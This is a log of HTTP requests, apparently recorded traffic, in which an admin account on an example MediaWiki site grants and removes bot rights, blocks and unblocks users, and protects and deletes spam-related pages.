{"method": "POST", "target": "/wiki/Special:UserRights", "headers": ["Host: example.com", "Content-Length: 304", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special%3AUserRights&user=.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=22%401794260960%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Special%3AUserRights&wpGroup-bot=1&wpExpiry-bot=infinite&user-reason=Spamming+links+to+.htaccess+guides&wpEditToken=afb049b409958f639472fc42566429756af23fe1%2B%5C&user=.htaccess&wpEditToken=18bd2feffb19ff0865f684c5d9f46c836af23fe1%2B%5C&conflictcheck-originalgroups=&saveusergroups=Save+user+groups"}
{"method": "GET", "target": "/wiki/Special:UserRights/.htaccess", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special%3AUserRights&user=.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=23%401794260962%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php?title=.htaccess_notes&action=protect", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=23%401794260962%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/index.php?title=.htaccess_notes&action=protect", "headers": ["Host: example.com", "Content-Length: 358", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=.htaccess_notes&action=protect", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=23%401794260962%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=.htaccess+notes&mwProtect-level-edit=sysop&wpProtectExpirySelection-edit=infinite&mwProtect-expiry-edit=&mwProtect-level-move=sysop&wpProtectExpirySelection-move=infinite&mwProtect-expiry-move=&wpProtectReasonSelection=other&mwProtect-reason=Spamming+links+to+.htaccess+guides&mwProtectWatch=1&wpEditToken=11734c231997c060e2bf43081922d45b6af23fe3%2B%5C"}
{"method": "GET", "target": "/wiki/.htaccess_notes", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=.htaccess_notes&action=protect", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=24%401794260963%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php?title=.htaccess_notes&action=delete", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=24%401794260963%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/index.php?title=.htaccess_notes&action=delete", "headers": ["Host: example.com", "Content-Length: 194", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=.htaccess_notes&action=delete", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=24%401794260963%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=.htaccess+notes&wpDeleteReasonList=other&wpReason=Spamming+links+to+.htaccess+guides&wpWatch=1&wpConfirmB=&wpEditToken=caf53f975b381767d24c26081b2ab3f36af23fe4%2B%5C&wpConfirmationRevId=16"}
{"method": "GET", "target": "/api.php?action=query&meta=tokens&type=login&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 137", "Host: example.com", "Cookie: my_wiki_session=savug0rd3s67h42asltdjo4efv05i7nt", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=login&lgname=Admin&lgpassword=Example-pass-2026&lgtoken=3cb681d76d891f525ae693f8cdd16cc06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "GET", "target": "/api.php?action=query&meta=tokens&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 145", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=block&user=Lighthouse&expiry=1+week&reason=Spamming+links&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "GET", "target": "/api.php?action=query&list=blocks&bkusers=Lighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=2%401794260965%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 133", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=2%401794260965%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=unblock&user=Lighthouse&reason=Spamming+links&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 211", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=4%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=protect&title=Lighthouse+API+notes&protections=edit%3Dsysop%7Cmove%3Dsysop&expiry=infinite%7Cinfinite&reason=Spamming+links&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 143", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=6%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=delete&title=Lighthouse+API+notes&reason=Spamming+links&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 160", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=8%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=block&user=Python3&expiry=1+week&reason=Spamming+links+to+python3+guides&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "GET", "target": "/api.php?action=query&list=blocks&bkusers=Python3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=10%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 148", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=10%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=unblock&user=Python3&reason=Spamming+links+to+python3+guides&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 226", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=12%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=protect&title=Python3+API+notes&protections=edit%3Dsysop%7Cmove%3Dsysop&expiry=infinite%7Cinfinite&reason=Spamming+links+to+python3+guides&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 158", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=14%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=delete&title=Python3+API+notes&reason=Spamming+links+to+python3+guides&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 166", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=16%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=block&user=Powershell&expiry=1+week&reason=Spamming+links+to+powershell+guides&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "GET", "target": "/api.php?action=query&list=blocks&bkusers=Powershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=18%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 154", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=18%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=unblock&user=Powershell&reason=Spamming+links+to+powershell+guides&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 232", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=20%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=protect&title=Powershell+API+notes&protections=edit%3Dsysop%7Cmove%3Dsysop&expiry=infinite%7Cinfinite&reason=Spamming+links+to+powershell+guides&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 164", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=22%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=delete&title=Powershell+API+notes&reason=Spamming+links+to+powershell+guides&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 158", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=24%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=block&user=Ls+-la&expiry=1+week&reason=Spamming+links+to+ls+-la+guides&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "GET", "target": "/api.php?action=query&list=blocks&bkusers=Ls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=26%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 146", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=26%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=unblock&user=Ls+-la&reason=Spamming+links+to+ls+-la+guides&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 224", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=28%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=protect&title=Ls+-la+API+notes&protections=edit%3Dsysop%7Cmove%3Dsysop&expiry=infinite%7Cinfinite&reason=Spamming+links+to+ls+-la+guides&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 156", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=30%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=delete&title=Ls+-la+API+notes&reason=Spamming+links+to+ls+-la+guides&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 164", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=32%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=block&user=.htaccess&expiry=1+week&reason=Spamming+links+to+.htaccess+guides&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "GET", "target": "/api.php?action=query&list=blocks&bkusers=.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=34%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 152", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=34%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=unblock&user=.htaccess&reason=Spamming+links+to+.htaccess+guides&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 230", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=36%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=protect&title=.htaccess+API+notes&protections=edit%3Dsysop%7Cmove%3Dsysop&expiry=infinite%7Cinfinite&reason=Spamming+links+to+.htaccess+guides&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 162", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=38%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=delete&title=.htaccess+API+notes&reason=Spamming+links+to+.htaccess+guides&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 137", "Host: example.com", "Cookie: my_wiki_session=5ea1vridedmorakmd7vsjhusjm977r2c", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=login&lgname=Admin&lgpassword=Example-pass-2026&lgtoken=38e20a279d9d5c4ceb05bfc8031203146af23ffc%2B%5C&format=json&formatversion=2"}
{"method": "GET", "target": "/api.php?action=query&meta=tokens&type=userrights&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "Cookie: my_wiki_session=m81dum3t2ci3he3fjg5tkfgj911ctlp3; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 147", "Host: example.com", "Cookie: my_wiki_session=m81dum3t2ci3he3fjg5tkfgj911ctlp3; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=userrights&user=Lighthouse&remove=bot&reason=Spamming+links&token=a209a591aff00f53811a181c99a9bd776af23ffc%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 162", "Host: example.com", "Cookie: my_wiki_session=m81dum3t2ci3he3fjg5tkfgj911ctlp3; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=42%401794260989%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=userrights&user=Python3&remove=bot&reason=Spamming+links+to+python3+guides&token=a209a591aff00f53811a181c99a9bd776af23ffc%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 168", "Host: example.com", "Cookie: my_wiki_session=m81dum3t2ci3he3fjg5tkfgj911ctlp3; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=44%401794260989%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=userrights&user=Powershell&remove=bot&reason=Spamming+links+to+powershell+guides&token=a209a591aff00f53811a181c99a9bd776af23ffc%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 160", "Host: example.com", "Cookie: my_wiki_session=m81dum3t2ci3he3fjg5tkfgj911ctlp3; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=46%401794260989%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=userrights&user=Ls+-la&remove=bot&reason=Spamming+links+to+ls+-la+guides&token=a209a591aff00f53811a181c99a9bd776af23ffc%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 166", "Host: example.com", "Cookie: my_wiki_session=m81dum3t2ci3he3fjg5tkfgj911ctlp3; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=48%401794260989%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=userrights&user=.htaccess&remove=bot&reason=Spamming+links+to+.htaccess+guides&token=a209a591aff00f53811a181c99a9bd776af23ffc%2B%5C&format=json&formatversion=2"}
{"method": "GET", "target": "/api.php?action=query&list=logevents&letitle=Lighthouse+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapprefix=Lighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapto=Lighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
